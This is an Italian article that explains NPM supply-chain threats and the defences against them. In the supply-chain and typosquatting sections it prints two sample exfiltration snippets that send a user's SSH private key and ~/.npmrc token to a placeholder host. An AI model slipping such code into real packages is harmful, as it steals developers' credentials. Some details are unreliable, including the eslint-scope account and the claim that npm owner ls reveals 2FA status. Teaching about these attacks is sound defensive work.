Indice dei contenuti
- I rischi nascosti della cyber security in NPM
- Perché NPM è un obiettivo per gli attacchi informatici
- Le principali minacce informatiche nei pacchetti NPM
- Come proteggere le dipendenze NPM
- Usa pacchetti scoped e registry privati
- Il futuro della sicurezza in NPM
I rischi nascosti della cyber security in NPM
Negli ultimi anni, NPM (Node Package Manager) è diventato uno strumento essenziale per gli sviluppatori JavaScript, permettendo di integrare facilmente migliaia di librerie open-source nei progetti.
Tuttavia, questa comodità comporta seri rischi di sicurezza. Gli hacker sfruttano le vulnerabilità delle dipendenze open-source per iniettare codice malevolo, rubare dati sensibili o compromettere intere applicazioni.
In questo articolo esploreremo i rischi di sicurezza legati ai pacchetti NPM, alcuni attacchi reali e le migliori strategie per proteggere le applicazioni dalle minacce alla supply chain.
Perché NPM è un obiettivo per gli attacchi informatici
NPM è il più grande repository di pacchetti per JavaScript, utilizzato sia nello sviluppo front-end che back-end. Tuttavia, la sua natura open-source lo rende anche un bersaglio per i criminali informatici.
Uno dei problemi principali è la catena delle dipendenze: molti pacchetti NPM si basano su altri pacchetti, creando una rete complessa di dipendenze. Se un solo pacchetto viene compromesso, migliaia di progetti possono essere colpiti.
I principali punti deboli di NPM includono:
- Mancata manutenzione
Molti pacchetti open-source sono gestiti da singoli sviluppatori che potrebbero non avere tempo o risorse per mantenerli sicuri.
- Mancanza di verifica del codice
Gli sviluppatori spesso installano pacchetti senza esaminarne il codice sorgente.
- Caricamento di pacchetti malevoli
I criminali pubblicano pacchetti apparentemente innocui che contengono codice dannoso.
- Furto di credenziali degli sviluppatori
Se un maintainer di un pacchetto perde l’accesso al proprio account, gli attaccanti possono iniettare aggiornamenti dannosi.
Attacchi reali alla cyber security di NPM
Negli ultimi anni, diversi attacchi hanno sfruttato le vulnerabilità di NPM, dimostrando quanto questi rischi siano concreti.
- Il caso Colors e Faker (2022)
Nel gennaio 2022, il creatore di colors.js e faker.js ha sabotato intenzionalmente le proprie librerie, causando loop infiniti in migliaia di applicazioni. Anche se non si trattava di un attacco malevolo, ha evidenziato i problemi di fiducia nell’ecosistema NPM. - L’attacco a UAParser.js (2021)
Gli hacker hanno compromesso il pacchetto UAParser.js, inserendo trojan capaci di rubare credenziali e installare malware per il mining di criptovalute sui dispositivi infetti. - L’attacco a Event-Stream (2018)
Un malintenzionato ha ottenuto il controllo di event-stream, una libreria molto popolare, e ha introdotto una dipendenza malevola per rubare portafogli Bitcoin. - L’attacco di Typosquatting su ESLint (2018)
Gli attaccanti hanno caricato pacchetti con nomi simili a quelli legittimi (ad esempio, eslint-scope invece di eslint), progettati per rubare token di autenticazione NPM.
Le principali minacce informatiche nei pacchetti NPM
Gli hacker sfruttano diverse vulnerabilità di NPM per compromettere applicazioni, rubare dati o eseguire codice dannoso sui dispositivi degli utenti. Alcuni dei metodi più utilizzati sono gli attacchi alla supply chain, il typosquatting, la dependency confusion e il furto di credenziali dei maintainer. In questa sezione, approfondiamo queste minacce con esempi concreti e codice.
Attacchi alla supply chain
Un attacco alla supply chain si verifica quando un hacker compromette un pacchetto open-source utilizzato da migliaia di progetti.
Inserendo codice dannoso in una dipendenza apparentemente affidabile, l’attaccante può eseguire azioni come il furto di credenziali, l’installazione di malware o il controllo remoto del sistema infetto.
Caso reale: l’attacco a event-stream (2018)
Nel 2018, il pacchetto event-stream, con milioni di download, è stato compromesso. Un nuovo “maintainer” ha aggiunto una dipendenza malevola, flatmap-stream, che conteneva codice per rubare credenziali di portafogli Bitcoin.
Esempio di codice maligno in un pacchetto compromesso
Un pacchetto compromesso potrebbe contenere codice nascosto per esfiltrare dati degli utenti:
js
const fs = require('fs');
const https = require('https');
const sensitiveData = fs.readFileSync('/home/user/.ssh/id_rsa', 'utf8');
https.request({
hostname: 'malicious-server.com',
path: '/upload',
method: 'POST',
headers: { 'Content-Type': 'text/plain' }
}, (res) => {}).write(sensitiveData);
Se un pacchetto compromesso con questo codice venisse eseguito, invierebbe la chiave SSH dell’utente a un server remoto, consentendo accessi non autorizzati.
Come difendersi
- Bloccare le versioni sospette nel file package-lock.json;
- Evitare aggiornamenti automatici non controllati (npm ci invece di npm install);
- Utilizzare strumenti di sicurezza come npm audit o Snyk.
Attacchi di typosquatting
Il typosquatting consiste nella creazione di pacchetti con nomi simili a quelli legittimi, sperando che gli sviluppatori li installino per errore.
Esempio
Un hacker potrebbe pubblicare un pacchetto expresss (con una ‘s’ in più) per imitare il popolare express.
Caso reale: L’attacco su eslint-scope (2018)
Nel 2018, un hacker ha pubblicato un pacchetto chiamato eslint-scope (invece di @eslint/escope), il quale rubava le credenziali di autenticazione degli sviluppatori.
Esempio di typosquatting
Un hacker potrebbe creare un pacchetto malevolo chiamato lodashs (simile a lodash) e pubblicarlo su NPM:
sh
npm publish --access public
Se un utente installa il pacchetto errato con:
sh
npm install lodashs
Potrebbe eseguire codice dannoso come:
js
console.log('Exfiltrating credentials...');
require('child_process').execSync('curl -X POST -d @~/.npmrc http://malicious-server.com');
Come difendersi
- Verificare il nome esatto del pacchetto prima dell’installazione;
- Usare npm audit per rilevare pacchetti sospetti;
- Preferire le versioni firmate da maintainer affidabili.
Attacchi di dependency confusion
Le aziende utilizzano spesso pacchetti interni con nomi generici come utils o helpers. Se un hacker pubblica un pacchetto pubblico con lo stesso nome, NPM potrebbe scaricare il pacchetto malevolo al posto di quello interno.
Caso reale: dependency confusion su Apple, Microsoft e Tesla (2021)
Nel 2021, il ricercatore di sicurezza Alex Birsan ha dimostrato come fosse possibile caricare pacchetti pubblici con nomi interni di aziende come Apple, Microsoft e Tesla, riuscendo a far eseguire codice malevolo sui loro sistemi.
Esempio di dependency confusion
Un’azienda ha un pacchetto interno chiamato internal-logger. Un hacker crea un pacchetto pubblico con lo stesso nome:
sh
npm publish --access public
Se il file package.json contiene:
json
"dependencies": {
"internal-logger": "^1.0.0"
}
e l’azienda non ha configurato correttamente il proprio registry privato, NPM potrebbe scaricare la versione malevola dal registry pubblico.
Come difendersi
- Usare pacchetti con scope aziendale (@company/package)
- Impostare un registry privato con npm config set registry
- Verificare le versioni dei pacchetti con npm ls
Furto di credenziali e account takeover
Se un hacker ruba le credenziali di un maintainer, può pubblicare versioni malevole di pacchetti molto popolari. Questo attacco è estremamente pericoloso perché gli utenti scaricano aggiornamenti malevoli inconsapevolmente.
Caso reale: UAParser.js compromesso (2021)
Nel 2021, gli hacker hanno ottenuto l’accesso all’account del maintainer di UAParser.js e hanno pubblicato una versione modificata contenente malware che rubava credenziali.
Esempio di account takeover
Se un hacker ottiene l’accesso all’account di un maintainer, può pubblicare un aggiornamento malevolo:
sh
npm login
npm publish --tag latest
Come difendersi
- Abilitare l’autenticazione a due fattori (2FA) su NPM;
- Utilizzare npm owner ls package-name per verificare se un maintainer è affidabile;
- Monitorare le modifiche nei pacchetti con npm audit e strumenti come Snyk.

Come proteggere le dipendenze NPM
Per ridurre i rischi di cyber security, gli sviluppatori devono adottare best practices per la gestione delle dipendenze NPM. Attacchi come il typosquatting, la dependency confusion e il package hijacking hanno dimostrato quanto sia importante gestire le dipendenze JavaScript in modo sicuro.
In questa sezione approfondiremo le migliori strategie per proteggere i progetti Node.js con esempi concreti e codice.
Usa file di blocco e checksums
I file di blocco (package-lock.json o yarn.lock) garantiscono che vengano installate sempre le stesse versioni delle dipendenze, evitando aggiornamenti indesiderati che potrebbero introdurre vulnerabilità.
Inoltre, i checksums verificano che i pacchetti scaricati non siano stati alterati da terze parti.
Esempio di file di blocco (package-lock.json)
Quando installi un pacchetto con NPM, viene generato automaticamente un package-lock.json che specifica esattamente quale versione di ogni dipendenza deve essere utilizzata:
json
{
"name": "secure-project",
"version": "1.0.0",
"dependencies": {
"express": {
"version": "4.18.2",
"resolved": "https://registry.npmjs.org/express/-/express-4.18.2.tgz",
"integrity": "sha512-abc123..."
}
}
}
Il campo “integrity” contiene l’hash crittografico del pacchetto. Se il contenuto del pacchetto cambia, l’hash non corrisponderà più, impedendo l’installazione di una versione compromessa.
Verifica dei checksums
Per verificare l’integrità dei pacchetti installati, puoi usare NPM ci, che installa le dipendenze basandosi esclusivamente sul file di blocco, ignorando le eventuali modifiche in package.json:
sh
npm ci
Questo comando garantisce che vengano installate solo le versioni definite nel package-lock.json, riducendo il rischio di attacchi alla supply chain.
Verifica la reputazione dei maintainer
Installare pacchetti da maintainer affidabili è essenziale per evitare di introdurre dipendenze malevole. Prima di installare un pacchetto, esegui queste verifiche:
Controlla l’attività del repository su GitHub
- Il pacchetto è aggiornato regolarmente?
- Ci sono problemi di sicurezza segnalati ma non risolti?
Analizza il numero di download e stelle su NPM
- Un pacchetto con pochi download o senza aggiornamenti recenti potrebbe essere abbandonato.
Verifica gli autori e i contributori
- Un cambio improvviso di maintainer senza spiegazioni potrebbe indicare un attacco alla supply chain.
Esempio di controllo manuale su GitHub e NPM
Per controllare l’attività di un pacchetto su GitHub, puoi usare il comando:
sh
npm repo nome-pacchetto
Ad esempio, per visualizzare il repository di express:
sh
npm repo express
Su GitHub, controlla la sezione Issues e Pull Requests per verificare se ci sono problemi di sicurezza aperti.
Per analizzare i download su NPM, usa il comando:
sh
npm info nome-pacchetto
Esempio per lodash:
sh
npm info lodash | grep downloads
Se il numero di download è improvvisamente calato o se ci sono stati recenti cambi di proprietà, potrebbe essere un campanello d’allarme.
Monitora le dipendenze per vulnerabilità
Per rilevare vulnerabilità di sicurezza nei pacchetti installati, puoi utilizzare strumenti automatici che analizzano le dipendenze e suggeriscono soluzioni:
Esegui npm audit per trovare vulnerabilità
Il comando npm audit analizza le dipendenze del progetto e segnala eventuali problemi di sicurezza:
sh
npm audit
Esempio di output:
css
found 2 vulnerabilities (1 moderate, 1 high)
run `npm audit fix` to fix them, or `npm audit fix --force` to force updates
Per correggere automaticamente le vulnerabilità, usa:
sh
npm audit fix
Se vuoi aggiornare solo i pacchetti vulnerabili senza modificare altre dipendenze:
sh
npm update --save
Utilizza strumenti di monitoraggio avanzati
Snyk: Analizza le vulnerabilità dei pacchetti in tempo reale. Puoi installarlo con:
sh
npm install -g snyk
snyk test
- Dependabot
Strumento integrato in GitHub che invia pull request automatiche per aggiornare le dipendenze vulnerabili.
Abilita l’autenticazione a due fattori (2FA)
Gli account NPM compromessi possono essere usati per pubblicare versioni malevole di pacchetti popolari. Per proteggere il tuo account, attiva l’autenticazione a due fattori (2FA).
Come attivare la 2FA su NPM
- Accedi al tuo account su npmjs.com;
- Vai su Settings > Account Security;
- Attiva l’opzione Two-Factor Authentication;
- Scegli tra Authorization only (protezione delle pubblicazioni) o Authorization and publishing (protezione completa).
Per verificare se un pacchetto è pubblicato da un account protetto con 2FA, usa:
sh
npm owner ls nome-pacchetto
Se l’autore non ha 2FA abilitato, valuta se è sicuro utilizzare il pacchetto.
Usa pacchetti scoped e registry privati
I pacchetti scoped sono una soluzione per evitare dependency confusion attacks. Creano uno spazio di nomi specifico per la tua organizzazione, riducendo il rischio che pacchetti con lo stesso nome vengano confusi tra repository interni ed esterni.
Per creare un pacchetto scoped:
sh
npm init --scope=@mia-organizzazione
Esempio di installazione di un pacchetto scoped:
sh
npm install @mia-organizzazione/mio-pacchetto
Utilizzo di un registry privato
Le aziende possono proteggere le proprie dipendenze usando un NPM registry privato, come Verdaccio o Artifactory, evitando di dipendere dal registry pubblico di NPM.
Esempio di configurazione di un registry privato:
sh
npm set registry https://registry.mia-azienda.com
Per tornare al registry di default:
sh
npm set registry https://registry.npmjs.org/
Il futuro della sicurezza in NPM
Man mano che l’ecosistema JavaScript cresce, anche le sfide legate alla sicurezza di NPM evolveranno. Organizzazioni come la OpenJS Foundation e GitHub (che possiede NPM) stanno lavorando per migliorare la sicurezza della supply chain, introducendo scansioni automatiche delle vulnerabilità e verifica delle firme sui pacchetti.
Tuttavia, gli sviluppatori devono adottare una mentalità proattiva, seguendo le best practices di cyber security, gestendo attentamente le dipendenze e rimanendo aggiornati sulle ultime minacce informatiche.
Domande e risposte
- Cos’è un attacco alla supply chain in NPM?
Si verifica quando viene iniettato codice malevolo in un pacchetto NPM, compromettendo tutte le applicazioni che lo utilizzano. - Come funzionano gli attacchi di typosquatting?
Gli hacker pubblicano pacchetti con nomi simili a quelli legittimi, sperando che gli sviluppatori li installino accidentalmente. - Come posso verificare se un pacchetto NPM è sicuro?
Usa strumenti come NPM Audit, Snyk e VirusTotal per scansionare il pacchetto prima dell’installazione. - Cosa è successo con l’attacco a event-stream?
Un hacker ha preso il controllo del pacchetto event-stream e ha aggiunto codice per rubare portafogli Bitcoin. - Come prevenire gli attacchi di dependency confusion?
Usa scoped packages e registry privati per evitare che i pacchetti interni vengano sostituiti con versioni pubbliche dannose. - NPM può rilevare automaticamente le vulnerabilità?
Sì, NPM Audit esegue la scansione per individuare vulnerabilità di sicurezza note nelle dipendenze installate e suggerisce soluzioni. - Perché è importante abilitare 2FA sugli account NPM?
L’autenticazione a due fattori (2FA) protegge gli account dei manutentori NPM dall’hijacking, impedendo agli aggressori di iniettare aggiornamenti dannosi. - Quali strumenti aiutano a proteggere le dipendenze NPM?
Strumenti di sicurezza come Snyk, Dependabot e npm audit aiutano a rilevare e risolvere le vulnerabilità nei pacchetti NPM. - Tutti i pacchetti NPM open source sono sicuri?
No, molte dipendenze open source presentano vulnerabilità di sicurezza dovute a scarsa manutenzione o mancanza di revisioni del codice. - In che modo GitHub aiuta a proteggere NPM?
Da quando ha acquisito NPM, GitHub ha introdotto la scansione di sicurezza, gli avvisi di dipendenza e la verifica della firma del pacchetto per migliorare la sicurezza di NPM.